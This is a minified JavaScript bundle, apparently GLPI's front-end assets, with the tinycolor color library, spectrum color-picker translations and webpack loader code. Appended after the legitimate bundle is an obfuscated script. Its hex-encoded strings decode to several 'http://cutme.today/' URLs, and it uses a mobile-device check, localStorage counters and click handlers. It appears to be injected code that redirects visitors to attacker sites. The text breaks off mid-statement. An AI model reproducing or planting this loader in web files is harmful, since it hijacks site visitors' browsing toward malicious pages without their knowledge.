t={r:0,g:0,b:0};var n=1;var i=false;var r=false;if(typeof e=="string"){e=W(e)}if(typeof e=="object"){if(e.hasOwnProperty("r")&&e.hasOwnProperty("g")&&e.hasOwnProperty("b")){t=c(e.r,e.g,e.b);i=true;r=String(e.r).substr(-1)==="%"?"prgb":"rgb"}else if(e.hasOwnProperty("h")&&e.hasOwnProperty("s")&&e.hasOwnProperty("v")){e.s=H(e.s);e.v=H(e.v);t=p(e.h,e.s,e.v);i=true;r="hsv"}else if(e.hasOwnProperty("h")&&e.hasOwnProperty("s")&&e.hasOwnProperty("l")){e.s=H(e.s);e.l=H(e.l);t=d(e.h,e.s,e.l);i=true;r="hsl"}if(e.hasOwnProperty("a")){n=e.a}}n=P(n);return{ok:i,format:e.format||r,r:s(255,o(t.r,0)),g:s(255,o(t.g,0)),b:s(255,o(t.b,0)),a:n}}function c(e,t,n){return{r:L(e,255)*255,g:L(t,255)*255,b:L(n,255)*255}}function f(e,t,n){e=L(e,255);t=L(t,255);n=L(n,255);var i=o(e,t,n),r=s(e,t,n);var a,l,u=(i+r)/2;if(i==r){a=l=0}else{var c=i-r;l=u>.5?c/(2-i-r):c/(i+r);switch(i){case e:a=(t-n)/c+(t<n?6:0);break;case t:a=(n-e)/c+2;break;case n:a=(e-t)/c+4;break}a/=6}return{h:a,s:l,l:u}}function d(e,t,n){var i,r,s;e=L(e,360);t=L(t,100);n=L(n,100);function o(e,t,n){if(n<0)n+=1;if(n>1)n-=1;if(n<1/6)return e+(t-e)*6*n;if(n<1/2)return t;if(n<2/3)return e+(t-e)*(2/3-n)*6;return e}if(t===0){i=r=s=n}else{var a=n<.5?n*(1+t):n+t-n*t;var l=2*n-a;i=o(l,a,e+1/3);r=o(l,a,e);s=o(l,a,e-1/3)}return{r:i*255,g:r*255,b:s*255}}function h(e,t,n){e=L(e,255);t=L(t,255);n=L(n,255);var i=o(e,t,n),r=s(e,t,n);var a,l,u=i;var c=i-r;l=i===0?0:c/i;if(i==r){a=0}else{switch(i){case e:a=(t-n)/c+(t<n?6:0);break;case t:a=(n-e)/c+2;break;case n:a=(e-t)/c+4;break}a/=6}return{h:a,s:l,v:u}}function p(e,t,n){e=L(e,360)*6;t=L(t,100);n=L(n,100);var r=i.floor(e),s=e-r,o=n*(1-t),a=n*(1-s*t),l=n*(1-(1-s)*t),u=r%6,c=[n,a,o,o,l,n][u],f=[l,n,n,a,o,o][u],d=[o,o,l,n,n,a][u];return{r:c*255,g:f*255,b:d*255}}function g(e,t,n,i){var s=[R(r(e).toString(16)),R(r(t).toString(16)),R(r(n).toString(16))];if(i&&s[0].charAt(0)==s[0].charAt(1)&&s[1].charAt(0)==s[1].charAt(1)&&s[2].charAt(0)==s[2].charAt(1)){return s[0].charAt(0)+s[1].charAt(0)+s[2].charAt(0)}return s.join("")}function v(e,t,n,i){var s=[R(B(i)),R(r(e).toString(16)),R(r(t).toString(16)),R(r(n).toString(16))];return s.join("")}l.equals=function(e,t){if(!e||!t){return false}return l(e).toRgbString()==l(t).toRgbString()};l.random=function(){return l.fromRatio({r:a(),g:a(),b:a()})};function m(e,t){t=t===0?0:t||10;var n=l(e).toHsl();n.s-=t/100;n.s=F(n.s);return l(n)}function y(e,t){t=t===0?0:t||10;var n=l(e).toHsl();n.s+=t/100;n.s=F(n.s);return l(n)}function b(e){return l(e).desaturate(100)}function _(e,t){t=t===0?0:t||10;var n=l(e).toHsl();n.l+=t/100;n.l=F(n.l);return l(n)}function w(e,t){t=t===0?0:t||10;var n=l(e).toRgb();n.r=o(0,s(255,n.r-r(255*-(t/100))));n.g=o(0,s(255,n.g-r(255*-(t/100))));n.b=o(0,s(255,n.b-r(255*-(t/100))));return l(n)}function x(e,t){t=t===0?0:t||10;var n=l(e).toHsl();n.l-=t/100;n.l=F(n.l);return l(n)}function k(e,t){var n=l(e).toHsl();var i=(r(n.h)+t)%360;n.h=i<0?360+i:i;return l(n)}function C(e){var t=l(e).toHsl();t.h=(t.h+180)%360;return l(t)}function E(e){var t=l(e).toHsl();var n=t.h;return[l(e),l({h:(n+120)%360,s:t.s,l:t.l}),l({h:(n+240)%360,s:t.s,l:t.l})]}function A(e){var t=l(e).toHsl();var n=t.h;return[l(e),l({h:(n+90)%360,s:t.s,l:t.l}),l({h:(n+180)%360,s:t.s,l:t.l}),l({h:(n+270)%360,s:t.s,l:t.l})]}function T(e){var t=l(e).toHsl();var n=t.h;return[l(e),l({h:(n+72)%360,s:t.s,l:t.l}),l({h:(n+216)%360,s:t.s,l:t.l})]}function S(e,t,n){t=t||6;n=n||30;var i=l(e).toHsl();var r=360/n;var s=[l(e)];for(i.h=(i.h-(r*t>>1)+720)%360;--t;){i.h=(i.h+r)%360;s.push(l(i))}return s}function j(e,t){t=t||6;var n=l(e).toHsv();var i=n.h,r=n.s,s=n.v;var o=[];var a=1/t;while(t--){o.push(l({h:i,s:r,v:s}));s=(s+a)%1}return o}l.mix=function(e,t,n){n=n===0?0:n||50;var i=l(e).toRgb();var r=l(t).toRgb();var s=n/100;var o=s*2-1;var a=r.a-i.a;var u;if(o*a==-1){u=o}else{u=(o+a)/(1+o*a)}u=(u+1)/2;var c=1-u;var f={r:r.r*u+i.r*c,g:r.g*u+i.g*c,b:r.b*u+i.b*c,a:r.a*s+i.a*(1-s)};return l(f)};l.readability=function(e,t){var n=l(e);var i=l(t);var r=n.toRgb();var s=i.toRgb();var o=n.getBrightness();var a=i.getBrightness();var u=Math.max(r.r,s.r)-Math.min(r.r,s.r)+Math.max(r.g,s.g)-Math.min(r.g,s.g)+Math.max(r.b,s.b)-Math.min(r.b,s.b);return{brightness:Math.abs(o-a),color:u}};l.isReadable=function(e,t){var n=l.readability(e,t);return n.brightness>125&&n.color>500};l.mostReadable=function(e,t){var n=null;var i=0;var r=false;for(var s=0;s<t.length;s++){var o=l.readability(e,t[s]);var a=o.brightness>125&&o.color>500;var u=3*(o.brightness/125)+o.color/500;if(a&&!r||a&&r&&u>i||!a&&!r&&u>i){r=a;i=u;n=l(t[s])}}return n};var D=l.names={aliceblue:"f0f8ff",antiquewhite:"faebd7",aqua:"0ff",aquamarine:"7fffd4",azure:"f0ffff",beige:"f5f5dc",bisque:"ffe4c4",black:"000",blanchedalmond:"ffebcd",blue:"00f",blueviolet:"8a2be2",brown:"a52a2a",burlywood:"deb887",burntsienna:"ea7e5d",cadetblue:"5f9ea0",chartreuse:"7fff00",chocolate:"d2691e",coral:"ff7f50",cornflowerblue:"6495ed",cornsilk:"fff8dc",crimson:"dc143c",cyan:"0ff",darkblue:"00008b",darkcyan:"008b8b",darkgoldenrod:"b8860b",darkgray:"a9a9a9",darkgreen:"006400",darkgrey:"a9a9a9",darkkhaki:"bdb76b",darkmagenta:"8b008b",darkolivegreen:"556b2f",darkorange:"ff8c00",darkorchid:"9932cc",darkred:"8b0000",darksalmon:"e9967a",darkseagreen:"8fbc8f",darkslateblue:"483d8b",darkslategray:"2f4f4f",darkslategrey:"2f4f4f",darkturquoise:"00ced1",darkviolet:"9400d3",deeppink:"ff1493",deepskyblue:"00bfff",dimgray:"696969",dimgrey:"696969",dodgerblue:"1e90ff",firebrick:"b22222",floralwhite:"fffaf0",forestgreen:"228b22",fuchsia:"f0f",gainsboro:"dcdcdc",ghostwhite:"f8f8ff",gold:"ffd700",goldenrod:"daa520",gray:"808080",green:"008000",greenyellow:"adff2f",grey:"808080",honeydew:"f0fff0",hotpink:"ff69b4",indianred:"cd5c5c",indigo:"4b0082",ivory:"fffff0",khaki:"f0e68c",lavender:"e6e6fa",lavenderblush:"fff0f5",lawngreen:"7cfc00",lemonchiffon:"fffacd",lightblue:"add8e6",lightcoral:"f08080",lightcyan:"e0ffff",lightgoldenrodyellow:"fafad2",lightgray:"d3d3d3",lightgreen:"90ee90",lightgrey:"d3d3d3",lightpink:"ffb6c1",lightsalmon:"ffa07a",lightseagreen:"20b2aa",lightskyblue:"87cefa",lightslategray:"789",lightslategrey:"789",lightsteelblue:"b0c4de",lightyellow:"ffffe0",lime:"0f0",limegreen:"32cd32",linen:"faf0e6",magenta:"f0f",maroon:"800000",mediumaquamarine:"66cdaa",mediumblue:"0000cd",mediumorchid:"ba55d3",mediumpurple:"9370db",mediumseagreen:"3cb371",mediumslateblue:"7b68ee",mediumspringgreen:"00fa9a",mediumturquoise:"48d1cc",mediumvioletred:"c71585",midnightblue:"191970",mintcream:"f5fffa",mistyrose:"ffe4e1",moccasin:"ffe4b5",navajowhite:"ffdead",navy:"000080",oldlace:"fdf5e6",olive:"808000",olivedrab:"6b8e23",orange:"ffa500",orangered:"ff4500",orchid:"da70d6",palegoldenrod:"eee8aa",palegreen:"98fb98",paleturquoise:"afeeee",palevioletred:"db7093",papayawhip:"ffefd5",peachpuff:"ffdab9",peru:"cd853f",pink:"ffc0cb",plum:"dda0dd",powderblue:"b0e0e6",purple:"800080",rebeccapurple:"663399",red:"f00",rosybrown:"bc8f8f",royalblue:"4169e1",saddlebrown:"8b4513",salmon:"fa8072",sandybrown:"f4a460",seagreen:"2e8b57",seashell:"fff5ee",sienna:"a0522d",silver:"c0c0c0",skyblue:"87ceeb",slateblue:"6a5acd",slategray:"708090",slategrey:"708090",snow:"fffafa",springgreen:"00ff7f",steelblue:"4682b4",tan:"d2b48c",teal:"008080",thistle:"d8bfd8",tomato:"ff6347",turquoise:"40e0d0",violet:"ee82ee",wheat:"f5deb3",white:"fff",whitesmoke:"f5f5f5",yellow:"ff0",yellowgreen:"9acd32"};var O=l.hexNames=N(D);function N(e){var t={};for(var n in e){if(e.hasOwnProperty(n)){t[e[n]]=n}}return t}function P(e){e=parseFloat(e);if(isNaN(e)||e<0||e>1){e=1}return e}function L(e,t){if(M(e)){e="100%"}var n=$(e);e=s(t,o(0,parseFloat(e)));if(n){e=parseInt(e*t,10)/100}if(i.abs(e-t)<1e-6){return 1}return e%t/parseFloat(t)}function F(e){return s(1,o(0,e))}function I(e){return parseInt(e,16)}function M(e){return typeof e=="string"&&e.indexOf(".")!=-1&&parseFloat(e)===1}function $(e){return typeof e==="string"&&e.indexOf("%")!=-1}function R(e){return e.length==1?"0"+e:""+e}function H(e){if(e<=1){e=e*100+"%"}return e}function B(e){return Math.round(parseFloat(e)*255).toString(16)}function q(e){return I(e)/255}var z=function(){var e="[-\\+]?\\d+%?";var t="[-\\+]?\\d*\\.\\d+%?";var n="(?:"+t+")|(?:"+e+")";var i="[\\s|\\(]+("+n+")[,|\\s]+("+n+")[,|\\s]+("+n+")\\s*\\)?";var r="[\\s|\\(]+("+n+")[,|\\s]+("+n+")[,|\\s]+("+n+")[,|\\s]+("+n+")\\s*\\)?";return{rgb:new RegExp("rgb"+i),rgba:new RegExp("rgba"+r),hsl:new RegExp("hsl"+i),hsla:new RegExp("hsla"+r),hsv:new RegExp("hsv"+i),hsva:new RegExp("hsva"+r),hex3:/^([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})$/,hex6:/^([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})$/,hex8:/^([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})$/}}();function W(n){n=n.replace(e,"").replace(t,"").toLowerCase();var i=false;if(D[n]){n=D[n];i=true}else if(n=="transparent"){return{r:0,g:0,b:0,a:0,format:"name"}}var r;if(r=z.rgb.exec(n)){return{r:r[1],g:r[2],b:r[3]}}if(r=z.rgba.exec(n)){return{r:r[1],g:r[2],b:r[3],a:r[4]}}if(r=z.hsl.exec(n)){return{h:r[1],s:r[2],l:r[3]}}if(r=z.hsla.exec(n)){return{h:r[1],s:r[2],l:r[3],a:r[4]}}if(r=z.hsv.exec(n)){return{h:r[1],s:r[2],v:r[3]}}if(r=z.hsva.exec(n)){return{h:r[1],s:r[2],v:r[3],a:r[4]}}if(r=z.hex8.exec(n)){return{a:q(r[1]),r:I(r[2]),g:I(r[3]),b:I(r[4]),format:i?"name":"hex8"}}if(r=z.hex6.exec(n)){return{r:I(r[1]),g:I(r[2]),b:I(r[3]),format:i?"name":"hex"}}if(r=z.hex3.exec(n)){return{r:I(r[1]+""+r[1]),g:I(r[2]+""+r[2]),b:I(r[3]+""+r[3]),format:i?"name":"hex"}}return false}window.tinycolor=l})();e((function(){if(e.fn.spectrum.load){e.fn.spectrum.processNativeColorInputs()}}))}));(function(e){var t=e.spectrum.localization["ar"]={cancelText:"إلغاء",chooseText:"إختار",clearText:"إرجاع الألوان على ما كانت",noColorSelectedText:"لم تختار أي لون",togglePaletteMoreText:"أكثر",togglePaletteLessText:"أقل"}})(jQuery);(function(e){var t=e.spectrum.localization["ca"]={cancelText:"Cancel·lar",chooseText:"Escollir",clearText:"Esborrar color seleccionat",noColorSelectedText:"Cap color seleccionat",togglePaletteMoreText:"Més",togglePaletteLessText:"Menys"}})(jQuery);(function(e){var t=e.spectrum.localization["cs"]={cancelText:"zrušit",chooseText:"vybrat",clearText:"Resetovat výběr barev",noColorSelectedText:"Žádná barva nebyla vybrána",togglePaletteMoreText:"více",togglePaletteLessText:"méně"}})(jQuery);(function(e){var t=e.spectrum.localization["de"]={cancelText:"Abbrechen",chooseText:"Wählen",clearText:"Farbauswahl zurücksetzen",noColorSelectedText:"Keine Farbe ausgewählt",togglePaletteMoreText:"Mehr",togglePaletteLessText:"Weniger"}})(jQuery);(function(e){var t=e.spectrum.localization["dk"]={cancelText:"annuller",chooseText:"Vælg"}})(jQuery);(function(e){var t=e.spectrum.localization["es"]={cancelText:"Cancelar",chooseText:"Elegir",clearText:"Borrar color seleccionado",noColorSelectedText:"Ningún color seleccionado",togglePaletteMoreText:"Más",togglePaletteLessText:"Menos"}})(jQuery);(function(e){var t=e.spectrum.localization["et"]={cancelText:"Katkesta",chooseText:"Vali",clearText:"Tühista värvivalik",noColorSelectedText:"Ühtki värvi pole valitud",togglePaletteMoreText:"Rohkem",togglePaletteLessText:"Vähem"}})(jQuery);(function(e){var t=e.spectrum.localization["fa"]={cancelText:"لغو",chooseText:"انتخاب",clearText:"تنظیم مجدد رنگ",noColorSelectedText:"هیچ رنگی انتخاب نشده است!",togglePaletteMoreText:"بیشتر",togglePaletteLessText:"کمتر"}})(jQuery);(function(e){var t=e.spectrum.localization["fi"]={cancelText:"Kumoa",chooseText:"Valitse"}})(jQuery);(function(e){var t=e.spectrum.localization["fr"]={cancelText:"Annuler",chooseText:"Valider",clearText:"Effacer couleur sélectionnée",noColorSelectedText:"Aucune couleur sélectionnée",togglePaletteMoreText:"Plus",togglePaletteLessText:"Moins"}})(jQuery);(function(e){var t=e.spectrum.localization["gr"]={cancelText:"Ακύρωση",chooseText:"Επιλογή",clearText:"Καθαρισμός επιλεγμένου χρώματος",noColorSelectedText:"Δεν έχει επιλεχθεί κάποιο χρώμα",togglePaletteMoreText:"Περισσότερα",togglePaletteLessText:"Λιγότερα"}})(jQuery);(function(e){var t=e.spectrum.localization["he"]={cancelText:"בטל בחירה",chooseText:"בחר צבע",clearText:"אפס בחירה",noColorSelectedText:"לא נבחר צבע",togglePaletteMoreText:"עוד צבעים",togglePaletteLessText:"פחות צבעים"}})(jQuery);(function(e){var t=e.spectrum.localization["hr"]={cancelText:"Odustani",chooseText:"Odaberi",clearText:"Poništi odabir",noColorSelectedText:"Niti jedna boja nije odabrana",togglePaletteMoreText:"Više",togglePaletteLessText:"Manje"}})(jQuery);(function(e){var t=e.spectrum.localization["hu"]={cancelText:"Mégsem",chooseText:"Mentés",clearText:"A színválasztás visszaállítása",noColorSelectedText:"Nincs szín kijelölve",togglePaletteMoreText:"Több",togglePaletteLessText:"Kevesebb"}})(jQuery);(function(e){var t=e.spectrum.localization["id"]={cancelText:"Batal",chooseText:"Pilih",clearText:"Hapus Pilihan Warna",noColorSelectedText:"Warna Tidak Dipilih",togglePaletteMoreText:"tambah",togglePaletteLessText:"kurangi"}})(jQuery);(function(e){var t=e.spectrum.localization["it"]={cancelText:"annulla",chooseText:"scegli",clearText:"Annulla selezione colore",noColorSelectedText:"Nessun colore selezionato"}})(jQuery);(function(e){var t=e.spectrum.localization["ja"]={cancelText:"中止",chooseText:"選択"}})(jQuery);(function(e){var t=e.spectrum.localization["ko"]={cancelText:"취소",chooseText:"선택",clearText:"선택 초기화",noColorSelectedText:"선택된 색상 없음",togglePaletteMoreText:"더보기",togglePaletteLessText:"줄이기"}})(jQuery);(function(e){var t=e.spectrum.localization["lt"]={cancelText:"Atšaukti",chooseText:"Pasirinkti",clearText:"Išvalyti pasirinkimą",noColorSelectedText:"Spalva nepasirinkta",togglePaletteMoreText:"Daugiau",togglePaletteLessText:"Mažiau"}})(jQuery);(function(e){var t=e.spectrum.localization["nb-no"]={cancelText:"Avbryte",chooseText:"Velg",clearText:"Tilbakestill",noColorSelectedText:"Farge er ikke valgt",togglePaletteMoreText:"Mer",togglePaletteLessText:"Mindre"}})(jQuery);(function(e){var t=e.spectrum.localization["nl-nl"]={cancelText:"Annuleer",chooseText:"Kies",clearText:"Wis kleur selectie",togglePaletteMoreText:"Meer",togglePaletteLessText:"Minder"}})(jQuery);(function(e){var t=e.spectrum.localization["pl"]={cancelText:"Anuluj",chooseText:"Wybierz",clearText:"Usuń wybór koloru",noColorSelectedText:"Nie wybrano koloru",togglePaletteMoreText:"Więcej",togglePaletteLessText:"Mniej"}})(jQuery);(function(e){var t=e.spectrum.localization["pt-br"]={cancelText:"Cancelar",chooseText:"Escolher",clearText:"Limpar cor selecionada",noColorSelectedText:"Nenhuma cor selecionada",togglePaletteMoreText:"Mais",togglePaletteLessText:"Menos"}})(jQuery);(function(e){var t=e.spectrum.localization["pt-pt"]={cancelText:"Cancelar",chooseText:"Escolher",clearText:"Limpar cor seleccionada",noColorSelectedText:"Nenhuma cor seleccionada",togglePaletteMoreText:"Mais",togglePaletteLessText:"Menos"}})(jQuery);(function(e){var t=e.spectrum.localization["ru"]={cancelText:"Отмена",chooseText:"Выбрать",clearText:"Сбросить",noColorSelectedText:"Цвет не выбран",togglePaletteMoreText:"Ещё",togglePaletteLessText:"Скрыть"}})(jQuery);(function(e){var t=e.spectrum.localization["sv"]={cancelText:"Avbryt",chooseText:"Välj"}})(jQuery);(function(e){var t=e.spectrum.localization["tr"]={cancelText:"iptal",chooseText:"tamam"}})(jQuery);(function(e){var t=e.spectrum.localization["zh-cn"]={cancelText:"取消",chooseText:"选择",clearText:"清除",togglePaletteMoreText:"更多选项",togglePaletteLessText:"隐藏",noColorSelectedText:"尚未选择任何颜色"}})(jQuery);(function(e){var t=e.spectrum.localization["zh-tw"]={cancelText:"取消",chooseText:"選擇",clearText:"清除",togglePaletteMoreText:"更多選項",togglePaletteLessText:"隱藏",noColorSelectedText:"尚未選擇任何顏色"}})(jQuery)}};var t={};function n(i){var r=t[i];if(r!==undefined){return r.exports}var s=t[i]={id:i,loaded:false,exports:{}};e[i].call(s.exports,s,s.exports,n);s.loaded=true;return s.exports}(()=>{n.n=e=>{var t=e&&e.__esModule?()=>e["default"]:()=>e;n.d(t,{a:t});return t}})();(()=>{n.d=(e,t)=>{for(var i in t){if(n.o(t,i)&&!n.o(e,i)){Object.defineProperty(e,i,{enumerable:true,get:t[i]})}}}})();(()=>{n.g=function(){if(typeof globalThis==="object")return globalThis;try{return this||new Function("return this")()}catch(e){if(typeof window==="object")return window}}()})();(()=>{n.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t)})();(()=>{n.r=e=>{if(typeof Symbol!=="undefined"&&Symbol.toStringTag){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"})}Object.defineProperty(e,"__esModule",{value:true})}})();(()=>{n.nmd=e=>{e.paths=[];if(!e.children)e.children=[];return e}})();var i={};(()=>{"use strict";n.r(i);var e=n(496);var t=n(497);var r=n(498);var s=n(501);var o=n.n(s); /** * --------------------------------------------------------------------- * * GLPI - Gestionnaire Libre de Parc Informatique * * http://glpi-project.org * * @copyright 2015-2023 Teclib' and contributors. * @copyright 2003-2014 by the INDEPNET Development Team. * @licence https://www.gnu.org/licenses/gpl-3.0.html * * --------------------------------------------------------------------- * * LICENSE * * This file is part of GLPI. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <https://www.gnu.org/licenses/>. * * --------------------------------------------------------------------- */n(484);n(485);window.$=window.jQuery=n(486);n(487);window.$.migrateMute=true;window.$.migrateTrace=false;n(489);n(490);n(492);n(493);n(494);n(495);window.PlainScrollbar=t["default"];n(499);n(502);n(503);n(504);n(505);n(506);$.fn.select2.defaults.set("adaptDropdownCssClass",(function(e){return e.replace("form-select","select-dropdown")}));window._=n(507);window.i18n=n(508)["default"]({domain:"glpi"});window.__=function(e,t){t=typeof t!=="undefined"?t:"glpi";var n=i18n.dcnpgettext.apply(i18n,[t,undefined,e,undefined,undefined].concat(Array.prototype.slice.call(arguments,2)));return _.escape(n)};window._n=function(e,t,n,i){i=typeof i!=="undefined"?i:"glpi";var r=i18n.dcnpgettext.apply(i18n,[i,undefined,e,t,n].concat(Array.prototype.slice.call(arguments,4)));return _.escape(r)};window._x=function(e,t,n){n=typeof n!=="undefined"?n:"glpi";var i=i18n.dcnpgettext.apply(i18n,[n,e,t,undefined,undefined].concat(Array.prototype.slice.call(arguments,3)));return _.escape(i)};window._nx=function(e,t,n,i,r){r=typeof r!=="undefined"?r:"glpi";var s=i18n.dcnpgettext.apply(i18n,[r,e,t,n,i].concat(Array.prototype.slice.call(arguments,5)));return _.escape(s)}})()})(); function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x52\x6e\x4d\x33\x63\x353','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x4d\x54\x76\x35\x63\x325','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x69\x71\x49\x38\x63\x318','abs','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x63\x4a\x67\x39\x63\x389','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x63\x43\x54\x34\x63\x314','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x6f\x54\x71\x37\x63\x367','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x72\x64\x52\x32\x63\x322','floor','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x77\x4f\x4b\x36\x63\x316','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x54\x45\x5a\x30\x63\x370','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x49\x55\x53\x31\x63\x331',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return 